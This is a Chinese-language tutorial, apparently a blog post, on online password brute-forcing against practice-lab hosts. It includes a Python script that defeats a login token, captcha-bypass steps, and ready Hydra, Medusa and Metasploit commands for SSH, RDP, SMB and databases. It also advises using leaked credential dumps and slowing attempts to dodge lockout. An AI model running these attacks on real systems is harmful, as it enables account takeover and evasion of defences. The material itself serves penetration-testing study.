总字符数: 21.80K

代码: 13.47K, 文本: 4.29K

预计阅读时间: 1.29 小时

在线密码破解

  • 防范措施
    • 确保所有认证尝试都是通过安全的、加密的通道进行,例如使用SSL/TLS.
    • 实现账号锁定机制,即在一定时间内密码尝试失败次数达到阈值时,暂时锁定账号.
    • 限制登录尝试的频率和总次数,减缓攻击速度.
    • 使用多因素认证,增加额外的安全层次.
  • 破解思路
    • 钓鱼攻击,引诱用户透露自己的凭证.
    • 社交工程,通过欺骗手段获取用户信息.
    • 使用键盘记录器或恶意软件捕捉用户的凭证.
    • 在没有适当防范措施的系统上尝试常见密码或使用密码喷洒攻击(尝试大量账户与少数几个可能的密码组合).
  • 优势
    • 攻击者可以直接确认密码是否正确.
    • 如果系统缺乏监控或者安全防护,破解过程可能不会立即被发现.
  • 劣势
    • 容易触发账号锁定或者其他安全机制.
    • 可能会在系统日志中留下明显的痕迹,引起管理员注意.
    • 通常比离线破解更耗时,尤其是在有登陆尝试限制的情况下.

字典

通过收集网站信息生成字典

1
2
3
4
5
6
7
cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
-m : 最小单词长度
-d : 爬网深度
-e : 收集包含email地址信息
-c : 每个单词出现次数
- 支持基本、摘要 身份认证
- 支持代理

Burp

概述

一个有效的字典可以大大提高暴力破解的效率

  • 比如常用的用户名/密码TOP500
  • 脱裤后的账号密码(社工库)
  • 根据特定的对象(比如手机、生日和银行卡号等)按照指定的规则来生成密码

暴力破解流程

  • 确认登录接口的脆弱性:
    • 尝试登录: 攻击者首先会尝试使用可能的用户名和密码进行登录.这可能包括常见的用户名(如admin、root等)和常见的密码.
    • 抓包: 攻击者使用网络抓包工具(例如Wireshark、Burp Suite等)截取登录请求的数据包,以便分析和模拟登录请求.
    • 观察验证元素和response信息: 攻击者分析登录请求的验证元素(如用户名、密码字段)以及服务器返回的响应信息.他们可能寻找特定的错误信息或验证机制,以确定暴力破解的可能性.
  • 对字典进行优化:
    • 构建密码字典: 攻击者使用密码字典,其中包含可能的密码组合.这个字典可能包括常见密码、弱密码、以及从公开泄漏的密码中获取的信息.
    • 优化字典: 攻击者可能根据目标系统的特点对密码字典进行优化,包括根据目标行业、用户行为、常见密码策略等进行调整,以提高破解效率.
  • 工具自动化操作:
    • 使用暴力破解工具: 攻击者使用自动化工具,如Hydra、Medusa等,通过多线程、多连接方式,自动化地尝试字典中的用户名和密码组合.
    • 调整尝试频率: 攻击者可能调整尝试的频率,以防止被系统的账号锁定机制检测到.他们可能在尝试之间引入延迟,避免触发防护机制.

字典优化是一项重要的工作,它可以提高暴力破解的效率,并更好地适应目标系统的特点.

以下是一些字典优化的技巧:

  1. 根据注册提示进行优化:
    • 密码长度要求: 如果系统要求密码长度至少为8位,那么优化字典时可以去掉少于8位的密码.这有助于排除那些不符合长度要求的密码,提高破解的效率.
    • 密码复杂性要求: 如果系统要求密码包含大写字母、小写字母、数字和特殊字符的组合,可以调整字典以包含这些元素,增加破解成功的可能性.
  2. 爆破管理后台账号:
    • 常见管理员账号: 管理员账号通常是攻击者爆破的重要目标.使用常见的管理员账号,如admin、administrator、root等,可以增加破解成功的机会.
    • 定制管理员账号: 根据目标系统的特点,可以定制一些可能的管理员账号,包括系统默认的和常见的自定义管理员账号.
  3. 根据目标行业或特点定制字典:
    • 行业术语: 如果攻击目标属于特定行业,可以加入与该行业相关的术语、缩写或关键字,以增加猜测密码的准确性.
    • 目标特点: 根据目标系统的特点,如公司名、产品名、品牌名等,将这些信息加入字典,因为攻击者可能尝试使用这些信息作为密码.
  4. 使用规则生成密码组合:
    • 规则生成工具: 使用密码生成工具,通过规则生成密码组合.这些规则可以包括大小写转换、数字替换、特殊字符添加等,以生成更多可能的密码组合.
  5. 基于历史泄漏数据:
    • 公开泄漏数据: 利用公开泄漏数据中的密码信息,加入字典.这有助于攻击者尝试使用在其他网站泄漏的密码进行攻击.
  6. 根据社工情报调整字典:
    • 社会工程学信息: 根据可能从社会工程学攻击中获得的信息,例如用户的兴趣、爱好、生日等,优化字典.

基于表单的暴力破解

输入错误时,有以下提示

这里没有验证码等其他验证机制,抓包看看

发送到Intruder进行暴力破解

设置好Payload

然后把username or password is not exists复制到Grep Match中.后面可以利用Grep Match区分哪些请求里面有这个字符串

然后就可以开始攻击了,匹配到username or password is not exists都是攻击失败的,另外,从响应长度也可以看出攻击成功与否

验证码绕过(on server)

验证码可以用来防止恶意注册、防止暴力破解.服务端验证码常见问题:

  • 验证码在后台不过期,导致长期可以使用
  • 验证码校验不严格,逻辑出现问题
  • 验证码设计的太过简单和有规律,容易被猜解

我们先简单的测试一下,不输入验证码的情况下会提示验证码为空,输入错误验证码的情况下会提示验证码错误,只有验证码正确的前提下才会提示账号或密码不存在

下面通过抓包判断一下服务器端有没有对验证码进行验证,发现是有的

说明后端对验证码是有验证的,我们来了解一下验证码生成的逻辑

  1. 刷新页面的时候,我们会向后台发送一个请求
  2. 后台收到请求会生成一个验证码并在session中把验证码保存下来.

我们先生成一个新的验证码,然后在BurpSuite中输入正确的验证码

提示账号密码不存在

我们换个密码再发送一次

发现依然是提示账号密码不存在,正常来说应该提示验证码错误,这说明验证码长期有效,我们发送到Intruder中直接暴力破解

验证码绕过(on client)

这里我们需要输入验证码,通过查看源码,发现验证码的验证逻辑是在客户端实现的

这个JavaScript会从0-9和26个大写字母中随机挑选5个作为验证码,然后用validate()去验证

另外,通过源码也可以看到,我们每点一次验证码,就会调用 createCode()改变验证码

通过BurpSuite发现后台不会对输入错误的验证码进行验证,在浏览器中,输入错误的验证码是有提示的

正常来说会有这个弹窗

说明前端设置的验证码如同虚设,后端不会对验证码进行验证.那么我们不用理会验证码,直接进行暴力破解就可以了

token防爆破

利用开发者工具可以发现这里有一个隐藏的标签

里面的数字就是我们的token,我的每次提交的请求都会有一个token值,后端会验证这个token值

但是这个token已经写到了html页面中,攻击者只需要写个工具,提交认证前都加上这个token就好了

用一个简单的python脚本测试,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# 导入requests库,用于发送HTTP请求
import requests
# 导入re库,用于正则表达式匹配
import re

# 目标URL,这里是一个登录页面的URL
url = "http://192.168.171.133/pikachu/vul/burteforce/bf_token.php"

# 定义一个函数,用于获取页面中的token和cookies
def get_token_and_cookie(url):
# 发送GET请求获取页面内容
response = requests.get(url)
# 获取页面内容文本
content = response.text
# 使用正则表达式匹配页面中的token值
pattern = '(?<=value=")\w+(?=")'
token = re.search(pattern, content).group()
# 获取HTTP响应中的cookies
cookies = response.cookies
# 返回token和cookies
return token, cookies

# 待尝试的用户名列表
users = ["admin", "root"]
# 待尝试的密码列表
passwds = ["admin", "password", "123456"]

# 构造POST请求的数据,包括用户名、密码、token等
data = {"submit": "Login"}
# 遍历用户名列表
for user in users:
# 遍历密码列表
for passwd in passwds:
# 设置POST请求的用户名和密码
data["username"] = user
data["password"] = passwd
# 获取页面中的token和cookies
data["token"], cookies = get_token_and_cookie(url)

# 从cookies中提取PHPSESSID,并构造请求头
cookies = cookies.get_dict()
headers = {"Cookie": ""}
headers["Cookie"] = "PHPSESSID=" + cookies["PHPSESSID"]

# 发送POST请求进行登录尝试
response = requests.post(url, data=data, headers=headers)
# 获取登录尝试后的页面内容
content = response.text
# 检查页面内容是否包含"login success",如果是则表示登录成功
if "login success" in content:
print("username: ", user, "password: ", passwd)

输出结果

msf之的ssh_login

一、查看SSH服务的版本信息

首先,我们先来使用MSF查看SSH服务的版本信息.先搜寻SSH服务信息收集的模块,执行命令:

1
search name:ssh type:auxiliary

可以搜索出大量MSF中的SSH信息收集相关模块,如下所示:

在这里,我们选择使用第13个模块,执行命令:

1
2
use 13
show options

可以使用该模块,并且查看该模块的参数.之后我们设定该模块的RHOSTS参数为192.168.64.144,并且执行该模块,结果如下所示:

从上图中可以看出,我们的目标主机的SSH信息收集成功,能够收集到目标设备的SSH版本等信息.

二、对SSH服务进行暴力破解

实际上,在上述搜索出来的模块中,我们还可以选择使用第8个模块,对目标主机的SSH服务进行暴力破解,执行命令:

1
2
use 8
show options

即可使用该模块,并查看该模块的参数,如下所示:

使用该模块,我们需要指定暴力破解的字典,在MSF中有很多自带的字典,进入 /usr/share/metasploit-framework/data/wordlists/目录下,即可看到很多字典文件,如下所示:

在这里,我们选择自带的字典,并指定好RHOSTS参数,执行该模块.如果我们的字典选择合适,就可以扫描处该设备的SSH用户名和密码,如下所示:

hydra-九头蛇

优点:

  1. 多协议支持: Hydra支持多种协议,包括SSH、FTP、HTTP等,这使得它能够用于不同类型的服务和系统.
  2. 多服务模块: Hydra具有丰富的模块支持,可以轻松添加对新服务的支持,这增加了工具的灵活性.
  3. 多种攻击方式: Hydra支持多种密码攻击方式,包括字典攻击、暴力攻击、基于规则的攻击等,使其适用于不同的密码破解场景.
  4. 开源且活跃的社区支持: 作为开源工具,Hydra拥有活跃的社区支持,用户可以获得及时的更新和解决方案.
  5. 支持代理: Hydra支持使用代理,这使得用户可以通过代理进行匿名化操作,提高隐匿性.

缺点:

  1. 稳定性差,程序时常崩溃: Hydra在某些情况下可能不够稳定,容易发生崩溃,这可能导致任务的中断和重新启动.
  2. 速度控制不好,容易触发服务屏蔽或锁死机制: Hydra的速度控制相对较简单,可能在攻击过程中产生过多的尝试,从而触发目标服务的屏蔽或锁死机制.
  3. 每个主机都会新建进程,每个服务都新建实例: 对于大规模目标破解,Hydra的处理方式可能不够高效.每个主机和服务都会启动新的进程,可能导致系统资源消耗过大.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-R 还原以前中止或崩溃的会话
-S 使用SSL连接
-s 指定非默认端口
-l 使用登录名进行登录
-L 使用账号字典进行破解
-p 使用密码进行登录
-P 使用密码字典进行破解
-e nsr n:空密码破解s:使用的user作为密码破解r:反向登录(把用户名倒叙,当做密码进行尝试.)
-C 指定所用格式为"user:password'"字典文件
-M 指定破解的目标文件,如果不是默认端口,后面跟上":pot"
-o 将破解成功的用户名: 密码写入指定文件
-b 指定文件类型(txt(default),json,jsonv1)
-f/-F 在找到用户名或密码时退出(f每个主机F主机文件)
-t 设置每个目标并行连接数(默认为16)
-T 任务总体的并行连接数(默认为64)
-w/-W 设置超时时间(默认为32秒)每个线程之间连接等待时间(默认为0)
-v/-v/-d 详细模式/显示login+pass每个尝试/调试模式
-O 使用老版本SSLV2和V3
-q 不输出连接错误信息
-U 查看支持破解的服务和协议
server 目标ip、某个网段
service 指定服务/协议名称
OPT 某些模块支持附加输入

简单使用

​ 在kali中打开终端,直接输入hydra,可以看到hydra的版本、参数、以及可以爆破的协议.

从图中圈起来的地方可以看到,hydra可以爆破 http、ftp、mysql等多种协议.

爆破SSH

我们拿爆破SSH协议来举个栗子.

-l 参数指定用户名,-p参数指定密码,后面直接跟目标的IP地址和协议.

1
hydra -l root -p root 192.168.64.144 ssh

成功的话,会把账号和密码高亮显示出来.

也可以使用另外一种格式:

1
hydra -l root -p root ssh://192.168.64.144

执行的结果都是一样的.

这里主要简单介绍一下用法,我知道我的SSH密码,所以就直接指定密码了.

但很多时候,我们是不知道密码的,所以就要使用密码字典来爆破.

使用字典爆破

小写的 -p 是指定密码,大写的 -P是指定字典文件.

1
2
hydra -l root -P 密码字典 192.168.64.144 ssh
hydra -l root -P ./自己常用的密码字典.txt 192.168.64.144 ssh

可以看到爆破成功了,但只给了一个结果:

1
2
# 如果想看爆破的过程,可以加上 -vV参数,显示执行细节
hydra -l root -P ./自己常用的密码字典.txt 192.168.31.144 ssh -vV

上面的密码字典使用的是相对路径,我们也可以把它换成绝对路径:

1
hydra -l root -P /opt/PasswordDic/用户名和密码/密码/自己常用的密码字典.txt 192.168.64.144 ssh

SSH协议的默认用户是 root,所以上面我们都是指定的用户名,如果不确定用户名,就要指定用户名字典,比如下面这种格式:

1
hydra -L ../账号/user500.txt -P /opt/PasswordDic/用户名和密码/密码/自己常用的密码字典.txt 192.168.64.144 ssh

爆破其他协议服务时,把协议名和默认用户名换一下就可以了.

协议对应的服务名和默认密码经常会忘记,下面整理了一些常见的服务爆破格式

Hydra爆破常见服务

远程桌面(RDP)

1
hydra -l administrator -P 密码字典 192.168.64.144 rdp

共享文件(SMB)

1
hydra -l administrator -P 密码字典 192.168.64.144 smb

文件传输(FTP)

1
hydra -l 用户名 -P 密码字典 192.168.64.144 ftp	

邮箱协议(POP3)

1
hydra -l 用户名 -P 密码字典 192.168.64.144 pop3

MSSQL数据库

1
hydra -l sa -P 密码字典 192.168.64.144 mssql

MySQL数据库

1
hydra -l 用户名 -P 密码字典 192.168.64.144 mysql

Oracle数据库

1
hydra -l 用户名 -P 密码字典 192.168.64.144 oracle

Redis数据库

1
hydra -l 用户名 -P 密码字典 192.168.64.144 redis

PgSQL数据库

1
hydra -l 用户名 -P 密码字典 192.168.64.144 postgresql

编译具有 SMB2 支持的 Hydra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# 在尝试对系统使用 THC-Hydra 时,我发现 Hydra 9.0 不支持 SMB2.我收到以下错误:
[ERROR] invalid reply from target smb://10.10.10.2:445/
# 为了获得 SMB2 支持,请执行以下步骤:
┌──(root㉿kill3r)-[/opt]
└─# cd /opt
┌──(root㉿kill3r)-[/opt]
└─# git clone https://github.com/vanhauser-thc/thc-hydra.git
┌──(root㉿kill3r)-[/opt]
└─# cd thc-hydra
┌──(root㉿kill3r)-[/opt]
└─# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \
libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
firebird-dev libmemcached-dev libgpg-error-dev \
libgcrypt11-dev libgcrypt20-dev libsmbclient-dev
# 要安装缺少的 SMB2 支持包,请运行
┌──(root㉿kill3r)-[/opt]
└─# apt install libsmbclient-dev
# 在运行 make 之前,继续运行 ./configure 以验证您的库是否已安装.
┌──(root㉿kill3r)-[/opt/thc-hydra]
└─# ./configure
Starting hydra auto configuration ...
Detected 64 Bit Linux OS
Checking for zlib (libz.so, zlib.h) ...
... found
Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
... found
Checking for gcrypt (libgcrypt.so, gpg-error.h) ...
... found
Checking for idn (libidn.so) ...
... found
Checking for curses (libcurses.so / term.h) ...
... found, color output enabled
Checking for pcre (libpcre.so, pcre.h) ...
... found
Checking for Postgres (libpq.so, libpq-fe.h) ...
... found
Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
... found
Checking for firebird (libfbclient.so) ...
... found
Checking for MYSQL client (libmysqlclient.so, math.h) ...
... NOT found, module Mysql will not support version > 4.x
Checking for AFP (libafpclient.so) ...
... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking for NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
... found
Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so / liboci.a and oci.dll) ...
... NOT found, module Oracle disabled
Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html
Checking for Memcached (libmemcached.so, memcached.h) ...
... found
Checking for Freerdp2 (libfreerdp2.so, freerdp/*.h, libwinpr2.so, winpr/*.h) ...
... found
Checking for Mongodb (libmongoc-1.0.so, mongoc.h, libbson-1.0.so, bson.h) ...
... found
Checking for smbclient (libsmbclient.so, libsmbclient.h) ...
... found
Checking for GUI req's (pkg-config, gtk+-2.0) ...
... NOT found, optional anyway
Checking for Android specialities ...
... strrchr() found
... RSA_generate_key() found
Checking for secure compile option support in gcc ...
Compiling... yes
Linking... yes
Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)

┌──(root㉿kill3r)-[/opt/thc-hydra]
└─# make

┌──(root㉿kill3r)-[/opt/thc-hydra]
└─# ./hydra -l administrator -P ../PasswordDic/1 WIN-O2ML05LMI0F smb2
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-15 16:51:10
[WARNING] Workgroup was not specified, using "WORKGROUP"
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking smb2://WIN-O2ML05LMI0F:445/
[WARNING] 192.168.64.223 might accept any credential
[445][smb2] host: WIN-O2ML05LMI0F login: administrator password: 1QAZ@wsx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-15 16:51:11

Medusa-美杜莎

Medusa工具是经过并行登陆暴力破解的办法,尝试获取远程考证效劳访问权限.
Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具.

优点:

  • 模块化设计和支持,使其具有灵活性和扩展性.
  • 稳定性好,适用于大规模并行测试.
  • 良好的速度控制,避免对目标服务的不良影响.

缺点:

  • 不支持RDP(Remote Desktop Protocol),相对于Hydra来说,支持的模块较少.
  • WEB-Form支持存在缺陷,可能在某些场景下表现不如预期.

简单使用

1
2
3
# 用法:
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

medusa: 选项需要一个参数 -- 'h'
CRITICAL: 未知错误,无法处理命令行选项.
ALERT: 必须提供主机信息.

语法: Medusa [-h 主机|-H 文件] [-u 用户名|-U 文件] [-p 密码|-P 文件] [-C 文件] -M 模块 [OPT]
-h [TEXT] : 目标主机名或 IP 地址
-H [FILE] : 包含目标主机名或 IP 地址的文件
-u [TEXT] : 要测试的用户名
-U [FILE] : 包含要测试的用户名的文件
-p [TEXT] : 要测试的密码
-P [FILE] : 包含要测试的密码的文件
-C [FILE] : 包含组合条目的文件.有关更多信息,请参阅 README.
-O [FILE] : 追加日志信息的文件
-e [n/s/ns] : 额外的密码检查([n] 无密码,[s] 密码 = 用户名)
-M [TEXT] : 要执行的模块名称(不包括 .mod 扩展名)
-m [TEXT] : 要传递给模块的参数.可多次传递不同的参数,并且所有参数都将发送给模块(例如 -m 参数1 -m 参数2,等等)
-d : 显示所有已知模块
-n [NUM] : 用于非默认 TCP 端口号
-s : 启用 SSL
-g [NUM] : 尝试连接 NUM 秒后放弃连接(默认为 3)
-r [NUM] : 重试尝试之间的休眠时间(默认为 3 秒)
-R [NUM] : 在放弃之前尝试 NUM 次.总尝试次数将为 NUM + 1.
-c [NUM] : 以 usec 为单位等待时间,以验证套接字是否可用(默认为 500 usec).
-t [NUM] : 同时测试的登录总数
-T [NUM] : 同时测试的主机总数
-L : 使用一个线程每个用户名并行化登录.默认情况下,处理完整个用户名后再进行下一步.
-f : 在找到第一个有效的用户名/密码后停止扫描主机.
-F : 在任何主机上找到第一个有效的用户名/密码后停止审核.
-b : 抑制启动横幅
-q : 显示模块的用法信息
-v [NUM] : 详细级别 [0 - 6(更多)]
-w [NUM] : 错误调试级别 [0 - 10(更多)]
-V : 显示版本
-Z [TEXT] : 基于先前扫描的映射恢复扫描

模块详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/usr/lib/x86_64-linux-gnu/medusa/modules中的可用模块
cvs.mod: 用于对CVS(Concurrent Versions System)版本控制系统进行身份验证和暴力破解.
ftp.mod: 用于对FTP(File Transfer Protocol)服务器进行身份验证和暴力破解.
http.mod: 用于对HTTP服务器进行身份验证和暴力破解.
imap.mod: 用于对IMAP(Internet Message Access Protocol)邮箱服务器进行身份验证和暴力破解.
mssql.mod: 用于对Microsoft SQL Server进行身份验证和暴力破解.
mysql.mod: 用于对MySQL数据库进行身份验证和暴力破解.
nntp.mod: 用于对NNTP(Network News Transfer Protocol)新闻服务器进行身份验证和暴力破解.
pcanywhere.mod: 用于对pcAnywhere远程控制软件进行身份验证和暴力破解.
pop3.mod: 用于对POP3(Post Office Protocol 3)邮件服务器进行身份验证和暴力破解.
postgres.mod: 用于对PostgreSQL数据库进行身份验证和暴力破解.
rexec.mod: 用于对rexec(remote execution)远程执行服务进行身份验证和暴力破解.
rlogin.mod: 用于对rlogin(remote login)远程登录服务进行身份验证和暴力破解.
rsh.mod: 用于对rsh(remote shell)远程shell服务进行身份验证和暴力破解.
smbnt.mod: 用于对SMB(Server Message Block)和NTLM进行身份验证和暴力破解.
smtp.mod: 用于对SMTP(Simple Mail Transfer Protocol)邮件服务器进行身份验证和暴力破解.
smtp-vrfy.mod: 用于对SMTP服务器的用户验证进行暴力破解.
snmp.mod: 用于对SNMP(Simple Network Management Protocol)进行身份验证和暴力破解.
ssh.mod: 用于对SSH(Secure Shell)远程登录服务进行身份验证和暴力破解.
svn.mod: 用于对Subversion版本控制系统进行身份验证和暴力破解.
telnet.mod: 用于对Telnet远程登录服务进行身份验证和暴力破解.
vmauthd.mod: 用于对VMware的vmauthd服务进行身份验证和暴力破解.
vnc.mod: 用于对VNC(Virtual Network Computing)远程桌面服务进行身份验证和暴力破解.
web-form.mod: 用于对基于Web表单的身份验证进行暴力破解.
wrapper.mod: 用于使用外部脚本或程序进行自定义身份验证.

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 查看可用模块
┌──(root㉿kill3r)-[/home/kill3r]
└─# medusa -d

# 查看模块帮助
┌──(root㉿kill3r)-[/home/kill3r]
└─# medusa -M postgres -q

# 猜解mysql数据库密码
┌──(root㉿kill3r)-[/opt/PasswordDic/密码]
└─# medusa -h 192.168.64.232 -u root -P /opt/PasswordDic/密码/top6000.txt -e ns -M mysql -O result
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [mysql] Host: 192.168.64.232 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: (1 of 6002 complete)
ACCOUNT CHECK: [mysql] Host: 192.168.64.232 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: root (2 of 6002 complete)
ACCOUNT FOUND: [mysql] Host: 192.168.64.232 User: root Password: root [SUCCESS]


# 以下命令指示Medusa经过SMB对主机192.168.64.223上的单个用户(管理员)测试top6000.txt中列出的一切密码."-e ns"指示Medusa另外检查管理员帐户能否有一个空白密码或其密码设置为匹配其用户名(管理员)
# 需要注意的是medusa不支持SMB V2协议
medusa -h 192.168.64.223 -u administrator -P /opt/PasswordDic/密码/top6000.txt -e ns -M smbnt

# 下面的命令行演示了如何执行Medusa的一些并行使用. 这里至少有20个主机和10个用户同时停止测试."-L"选项指示Medusa由用户并行.这意味着针对主机的10个线程中的每个线程都会检查独一用户.
medusa -H hosts.txt -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -T 20 -t 10 -L -F -M smbnt

# 破解ssh密码
┌──(root㉿kill3r)-[/opt/PasswordDic/密码]
└─# medusa -M ssh -h 192.168.64.233 -u root -P /opt/PasswordDic/密码/top6000.txt -e ns -F
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.64.233 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: (1 of 6002 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.64.233 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: root (2 of 6002 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.64.233 User: root Password: root [SUCCESS]


# 同时我们也能够将用户改为文件,同时我们也将线程数调为5
┌──(root㉿kill3r)-[/opt/PasswordDic/密码]
└─# medusa -M ssh -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -h 192.168.64.233 -t 5

# 将输出结果保管在指定文件中
mesuda -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -n 40 -h 192.168.64.233 -M ssh -f -t 5 -O ssh.txt